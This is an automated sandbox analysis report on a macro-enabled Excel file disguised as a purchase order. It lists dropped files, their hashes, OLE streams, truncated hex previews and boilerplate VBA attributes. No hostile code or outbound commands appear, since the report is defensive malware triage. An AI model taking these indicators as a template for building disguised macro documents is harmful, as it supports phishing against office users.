Preview:	3.7.4.6.3.7.6.,.1.1.9.6.3.7.8.,.1.7.8.8.6.5.8.,.2.5.5.0.5.0.8.8.,.1.2.5.,.1.1.9.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.6.3.6.4.3.3.4.,.3.0.1.5.3.7.2.1.,.2.3.7.1.6.5.1.,.6.5.4.0.2.1.5.,.2.4.6.0.9.2.5.8.,.4.0.6.9.3.5.8.2.,.1.0.4.9.5.2.3.4.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.2.7.1.5.3.4.9.7.,.6.3.7.1.6.9.4.,.5.9.2.2.3.4.2.3.,.5.7.9.9.9.6.6.1.,.1.5.6.1.9.5.8.,.6.3.0.6.3.0.9.9.,.2.7.3.6.0.0.9.5.,.5.8.4.2.5.8.6.0.,.6.3.6.4.3.3.7.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.0.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.3.,.1.0.6.9.5.5.2.,.1.6.5.7.4.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.3.5.2.5.8.7.,.1.7.7.1.6.5.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.3.2.0.5.9.2.7.6.7.,.

C:\Users\user\AppData\Local\Temp\~DF7FA1D1F7291B08D0.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	172032
Entropy (8bit):	6.8296657662663725
Encrypted:	false
SSDEEP:	3072:T0N1c24C19q89NSG61NeNyqzVj62r5Oqtk3ss3:t6O8rSn6yqzV5r0qyss3
MD5:	606F3B87D72C98845743BACA71172F50
SHA1:	87AA9D26EFC12361D0CDD26186C80441CB5E698D
SHA-256:	588EB39560786303C6F26E09B4D34FEA9A855851E1A72782CA63F706A5B820F1
SHA-512:	34A2FC5CE704B016A46657BF9295D04A9DCB42119BD1AF3317C98CED8D1DD1548C484ECFD60B07E566988A58F17A100765B0D689CA09FCE2300D65939B014921
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFF57BF76A122B0A7C.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\F0230000

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Sat Mar 15 07:55:58 2025, Security: 1
Category:	dropped
Size (bytes):	1071104
Entropy (8bit):	7.856683874642462
Encrypted:	false
SSDEEP:	24576:I0ZIDHtWjejsk4McukJIwgxIOXR8YhbBWvdp8tLUWBMDcm:VAaejH4MTkzguM8YkpwLUwhm
MD5:	12104561585A0C0742ECEB179E98C628
SHA1:	A0E4578582DC3F0F0A4FC42D1DD56B2DFF919E4D
SHA-256:	437D08253CEFC311963085013A9F19EBAFAE77D9A99276E5D73FEC3555B96940
SHA-512:	DDF3592CA771714E0D79C3F67F6E89ED7063D4E7CB03F8961BD54E5B3F24DCDF7258858AE643585C15DFA9B1968C064B43327F43235D7DB662E7A87E2B1981B5
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\F0230000:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\PO-ARJ-2025-15ACA.xla.xls (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Sat Mar 15 07:55:58 2025, Security: 1
Category:	dropped
Size (bytes):	1071104
Entropy (8bit):	7.856683874642462
Encrypted:	false
SSDEEP:	24576:I0ZIDHtWjejsk4McukJIwgxIOXR8YhbBWvdp8tLUWBMDcm:VAaejH4MTkzguM8YkpwLUwhm
MD5:	12104561585A0C0742ECEB179E98C628
SHA1:	A0E4578582DC3F0F0A4FC42D1DD56B2DFF919E4D
SHA-256:	437D08253CEFC311963085013A9F19EBAFAE77D9A99276E5D73FEC3555B96940
SHA-512:	DDF3592CA771714E0D79C3F67F6E89ED7063D4E7CB03F8961BD54E5B3F24DCDF7258858AE643585C15DFA9B1968C064B43327F43235D7DB662E7A87E2B1981B5
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\~$PO-ARJ-2025-15ACA.xla.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:sYp5lFltt:sYp5Nv
MD5:	B77267835A6BEAC785C351BDE8E1A61C
SHA1:	FABD93A92989535D43233E3DB9C6579D8174740E
SHA-256:	3B222E766EADC8BC9A8A90AC32FA591F313545B7E8C5D481D378AE307FA798C3
SHA-512:	FFFCBA958E9BD56F284DA19592F124C48B013FCDA2FBE65B3EB38BB644C2B0C978E6DAE99EF213B054813C7212E119B09236A6FFF342D32E52C84DD26DE1E033
Malicious:	true
Preview:	.user ..a.l.f.o.n.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Mar 13 07:45:29 2025, Security: 1
Entropy (8bit):	7.83097068580852
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	PO-ARJ-2025-15ACA.xla.xlsx
File size:	1'172'992 bytes
MD5:	9d0c7d82a1c18e1006e6075584652e83
SHA1:	68f97d343b3419df1b2d25c50c0d72d6af4fd59e
SHA256:	34954100e490a77310918573e56868e651855b54ddb0cc0dd334f55e8e195f14
SHA512:	27c408248899964717c7f99e7b5c0a7a1c54e1ba9e99d4f2810ca32b81830f1f42922fe90a2de261bc2490d92adf003868ba461b6afa40af9459cafec1544076
SSDEEP:	24576:VLA6DHtWjejsk4Mcu+JIwgxIOXR8YhbBWvdp8tLUWBMDcMI:iSaejH4MT+zguM8YkpwLUwhR
TLSH:	DC450294BFC05626DA1D03340FE38B1C5A15AEEA5795620F3235BE1D3EB6B3E0B72509
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	35e58a8c0c8a85b9

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "PO-ARJ-2025-15ACA.xla.xlsx"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2025-03-13 07:45:29
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 9f c8 b9 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . } . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 9f ec 7d 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 9f 8b 05 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . { . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 a3 9f 7b a2 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2920681057018664
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD003296A8/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD003296A8/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD003296A8/\x5DocumentSummaryInformation, File Type: data, Stream Size: 296

General
Stream Path:	MBD003296A8/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	296
Entropy:	3.2973193143624515
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . S h e e t 1 ! P r i n t _ A r e a . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f8 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 b7 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: MBD003296A8/\x5SummaryInformation, File Type: data, Stream Size: 31156

General
Stream Path:	MBD003296A8/\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	31156
Entropy:	3.1876994904322484
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . y . . . . . . . . . . P . . . . . . . X . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . K e n n y C h e u n g . . . . . . . . . . . . 9 1 9 7 4 . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . m . . . @ . . . . _ ~ . \\ S . @ . . . . . . . . . . . . G . . . x . . . . . . . . 0 . . . . . . . . . . T < . . . . . . . . . . . . . . & .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 84 79 00 00 09 00 00 00 01 00 00 00 50 00 00 00 04 00 00 00 58 00 00 00 08 00 00 00 70 00 00 00 12 00 00 00 80 00 00 00 0b 00 00 00 98 00 00 00 0c 00 00 00 a4 00 00 00 0d 00 00 00 b0 00 00 00 13 00 00 00 bc 00 00 00 11 00 00 00 c4 00 00 00

Stream Path: MBD003296A8/MBD00320C7F/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD003296A8/MBD00320C7F/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD003296A8/MBD00320C7F/Package, File Type: Microsoft Excel 2007+, Stream Size: 613686

General
Stream Path:	MBD003296A8/MBD00320C7F/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	613686
Entropy:	7.989056691241232
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . X . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 1a 58 13 82 c0 01 00 00 90 07 00 00 13 00 bb 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 b7 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD003296A8/MBD00321A49/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD003296A8/MBD00321A49/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD003296A8/MBD00321A49/Package, File Type: Microsoft Excel 2007+, Stream Size: 13665

General
Stream Path:	MBD003296A8/MBD00321A49/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	13665
Entropy:	7.1661074658165225
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . ~ . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 c8 9d a8 db 7e 01 00 00 85 05 00 00 13 00 cf 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cb 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD003296A8/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 392615

General
Stream Path:	MBD003296A8/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	392615
Entropy:	7.73377528201003
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . h : . 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD003296A9/\x1Ole, File Type: data, Stream Size: 600

General
Stream Path:	MBD003296A9/\x1Ole
CLSID:
File Type:	data
Stream Size:	600
Entropy:	4.504542341869483
Base64 Encoded:	False
